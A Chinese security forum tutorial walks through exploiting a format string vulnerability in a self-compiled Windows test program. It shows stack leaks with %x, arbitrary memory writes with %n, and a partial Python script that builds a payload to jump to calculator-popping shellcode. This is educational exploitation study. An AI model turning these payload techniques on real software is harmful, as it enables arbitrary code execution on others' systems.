首页
社区
课程
招聘
[原创]Windows格式化字符串漏洞利用简单示例
发表于: 2024-8-31 18:34 5672

[原创]Windows格式化字符串漏洞利用简单示例

2024-8-31 18:34
5672

在网上找学习格式化字符串漏洞的材料,大多数是 Linux 系统的,分享一下在 Windows 系统上学习格式化字符串漏洞的记录,希望能对各位读者有所帮助。

将以下代码通过VC6.0 编译成程序Fstring.exe(release 版)

在系统的注册表HKEY_LOCAL_MACHINE –> SOFTWARE –> Microsoft –> Windows NT –> CurrentVersion –> AeDebug中,添加 Debugger,将其数据设置为调试器所在的的文件路径,后面还需要加上一些参数设置,这有利于后面的调试。

如下图所示:
image.png
在Auto 的值被设置为 0 的情况下,设置好默认调试器后,程序在因为内存访问异常等问题崩溃时时,系统显示确认消息框,点击该窗口的调试选项(Debug),调试器就可以自动附加程序并定位到出现异常的地址,如下图所示:
image.png
image.png
在Auto 的值被设置为 1 的情况下,程序崩溃时,没有显示确认消息框的步骤,调试器会直接启动并附加程序。

格式化字符串漏洞产生的主要原因是格式符与参数的数量不匹配,格式符会不受限制地读取栈区的数据。
当格式符与参数的数量匹配时,例如printf("Test String:%x,%d,%d",20,70,40),当参数全部压入栈后,栈区的情况如下所示:
image.pngimage.png

printf 函数会正常打印输出Test String:14,70,40
但是当格式符与参数的数量不匹配时,例如printf("Test String:%x,%d,%d,%x",20,70,40),当参数全部压入栈后,栈区的情况如下所示:
image.png
image.png
printf 函数会打印输出Test String:14,70,40,ffffffff,栈区的数据就被读取了。
以上是利用格式化字符串漏洞读取栈区数据的简单示范。
一般来说,可以通过利用格式化字符串漏洞实现以下目标:读取内存、写入内存、执行任意代码。
接下来以 printf 函数为例对格式化字符串漏洞进行说明。

%x控制符会导致printf函数从堆栈中弹出一个整数并以十六进制格式输出 。
用调试器打Immunity Debugger开文件Fstring.exe,在参数栏输入text-%x
image.png
image.png
0x401033是 printf 函数,函数调用之前,栈顶0x12FE74指向的值是字符串text—%x的地址 0x0012FE7C
printf 函数执行后 text-会正常打印出来,%x 会打印堆栈中栈顶偏移 0x4 (即0x12FE78 )的值FFFFFFFF
image.png
输入 text-%x%x 时,printf 函数会一直打印到栈顶偏移位置 0x8,即 0x12FE7C的值,即 74786574(text 的 ASCII 码)。
image.png
输入text-%x%10x时,因为有两个%xprintf 函数同样会打印到栈顶偏移位置 0x8,但由于其中一个是%10x,所以打印时会占用 10 个字符,没有数值的地方用空格填充,即text-ffffffff 74786574
image.png
输入参数AAAABBBBCCCC%x%x%x%x,程序的输出如下所示:
image.png
也就是说在调用 printf 函数时,每个格式符%x 都在栈里读取数据,读取的位置也是以 4 个字节往栈区高地址递增。如果不受限制地传入参数%x,那么栈区的数据就会被泄露。

%n控制符的特殊之处在于它不会像其他格式符那样输出内容,而是将当前已经输出的字符数写入指定的内存地址。
printf 函数内部维护着一个计数器,用于记录已经打印的字符数量。每次调用 printf 函数时,这个计数器都会被初始化为 0。当 printf 函数遇到 %n 格式符时,它会将当前计数器的值(即已打印字符数)写入 %n 对应的参数指向的内存地址。
这个指定的内存地址由%n 后面的参数决定,例如下面代码中的变量 count 的地址就是打印的字符数量写入的地址。

上面代码的输出结果是

image.png
重新调试程序Fstring.exe ,在之前调试的基础上做一点微调,将最后一个格式符%x 换成%n

根据上面的测试经验可知,格式符%n 读取的值应该是43434343,不过43434343不会打印输出,而是作为字符数传入的地址。可是%n 后面没有别的参数了,看看%n 会读取栈上哪个位置的数据作为传入字符数的地址。
看一下调试结果:
image.png
程序在0x4018A7遇到了内存访问异常,此时 EAX = 0x43434343,ECX=0x24(十进制的 36)。指令MOV DWORD PTR DS:[EAX],ECX试图将 0x24 赋值给地址 0x43434343。
前面已经提到,%n 是将已经输出的字符数写入指定的内存地址,这条指令就是将字符数 36(3 个%x 共打印 24 个字符,加上 AAAABBBBCCCC 合计 36 个字符)写入地址 0x43434343,也就是说%n 和%x 一样,按照顺序在栈区读取数据,并用作字符数写入的地址。
image.png
地址 0x43434343 是一个无效的内存地址,才会遇到访问异常,如果换一个有效的内存地址呢,例如随便在内存窗口选一个值为 0 的地址0x407148 ,看看结果如何。调试时输入以下参数

image.png
image.png
调试结果显示,字符数 0x18(十进制的 24,即 3 个%x 打印的字符数)已经被成功写入了地址0x407148

通过以上调试和测试可知,可以利用格式化字符串漏洞在任意地址写入任意数据。
要完成漏洞利用,执行任意代码,需要在程序执行0x0040187之前,

接下来说明格式化字符串的漏洞利用细节。

按照下面代码编写 Python 脚本,最好将程序Fstring.exe和脚本放在同一个文件夹中。

点击执行脚本,程序启动并发生异常,调试器自动启动并附加程序,和之前一样停留在异常发生的地址0x004018A7
image.png
此时 EAX 的值为0x42424242,之后需要替换成可供跳转到 shellcode 的地址 。
Alt + K查看程序的调用栈
image.png
离 shellcode 起始地址0x0012FE7C较近的地址是0x0012FE50,所以 EAX 的值可以被0x0012FE50覆盖,借助这个地址跳转到 shellcode。
shellcode 的大致组成如下图所示:
image.png

前面已经提到,字符串在内存中的起始地址为 0x0012FE7C,这也是 shellcode 的起始地址。在执行MOV DWORD PTR DS:[EAX],ECX前,使 ECX 等于0x0012FE7C,需要调整打印的字符串的长度。
0x0012FE7C等于十进制的1244796,之前脚本生成的字符长度是0x1AB,即十进制的 427
1244796 - 427 = 1244369。%10x 打印 10 个字符,%1244369x 就可以打印 1244369 个字符。
根据计算结果调整一下脚本

image.png
此时 ECX 正好等于0x0012FE7C,但是 EAX 又发生变化了,不等于末尾的字符串 BBBB (0x42424242)。
继续做一点微调

image.png
此时 EAX = 0x42424242, ECX = 0x12FE7C,接下来我们可以继续改造这个脚本,将结尾的 BBBB 替换为0x0012FE50,将开头的部分填充字符 A 替换为弹出计算器的 payload, 完成漏洞利用。以下是改进后的 shellcode 的大致构成:
image.png

以下是弹出计算器的 shellcode,共 21 个字节

以下是调整后的脚本:

计算器成功弹出。
image.png

https://learn.microsoft.com/zh-cn/windows/win32/debug/configuring-automatic-debugging
https://bbs.kanxue.com/thread-127511.htm
https://bbs.kanxue.com/thread-213153.htm
https://osandamalith.com/2018/02/01/exploiting-format-strings-in-windows/

#include <stdio.h>
#include <string.h>
 
void parser(char *string)
{
    char buff[256];
    memset(buff,0,sizeof(buff));
    strncpy(buff,string,sizeof(buff)-1);
    printf(buff);
}
 
int main (int argc, char *argv[])
{
    parser(argv[1]);
    return 0;
}
#include <stdio.h>
#include <string.h>
 
void parser(char *string)
{
    char buff[256];
    memset(buff,0,sizeof(buff));
    strncpy(buff,string,sizeof(buff)-1);
    printf(buff);
}
 
int main (int argc, char *argv[])
{
    parser(argv[1]);
    return 0;
}
"C:\Tools\immunitity debugger\Immunity Debugger\ImmunityDebugger.exe" -AEDEBUG %ld %ld
"C:\Tools\immunitity debugger\Immunity Debugger\ImmunityDebugger.exe" -AEDEBUG %ld %ld
int count = 0;
printf("Hello, world!%n", &count); //目前较新的编译器已经禁用了%n
printf("\nCount: %d\n", count);    //一些在线编译器或者VC6.0可以做这个小测试
int count = 0;
printf("Hello, world!%n", &count); //目前较新的编译器已经禁用了%n
printf("\nCount: %d\n", count);    //一些在线编译器或者VC6.0可以做这个小测试
Hello, world!
Count: 13
Hello, world!
Count: 13
AAAABBBBCCCC%x%x%x%n
AAAABBBBCCCC%x%x%x%n
%x%x%x%nHq@ //H、q、@的ASCII(十六进制)分别是0x48、0x71、0x40
%x%x%x%nHq@ //H、q、@的ASCII(十六进制)分别是0x48、0x71、0x40
from subprocess import call
 
a="A"*80           //需要有足够的填充字符,以便之后替换成payload
b="%x"*44+"%ncc"   //%x用于调整打印输出的字符数。%n用于将字符数写入指定地址
c="B" * 4         
buf=a+b+c
call(["Fstring.exe",buf])
from subprocess import call
 

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2024-9-1 12:06 被ZyOrca编辑 ,原因: 修正错误、调整措辞
上传的附件:
收藏
免费 1
支持
分享
最新回复 (1)
雪    币: 7052
活跃值: (2885)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
很棒的入门文章,赞一个
2024-9-2 11:48
0
游客
登录 | 注册 方可回帖
返回
//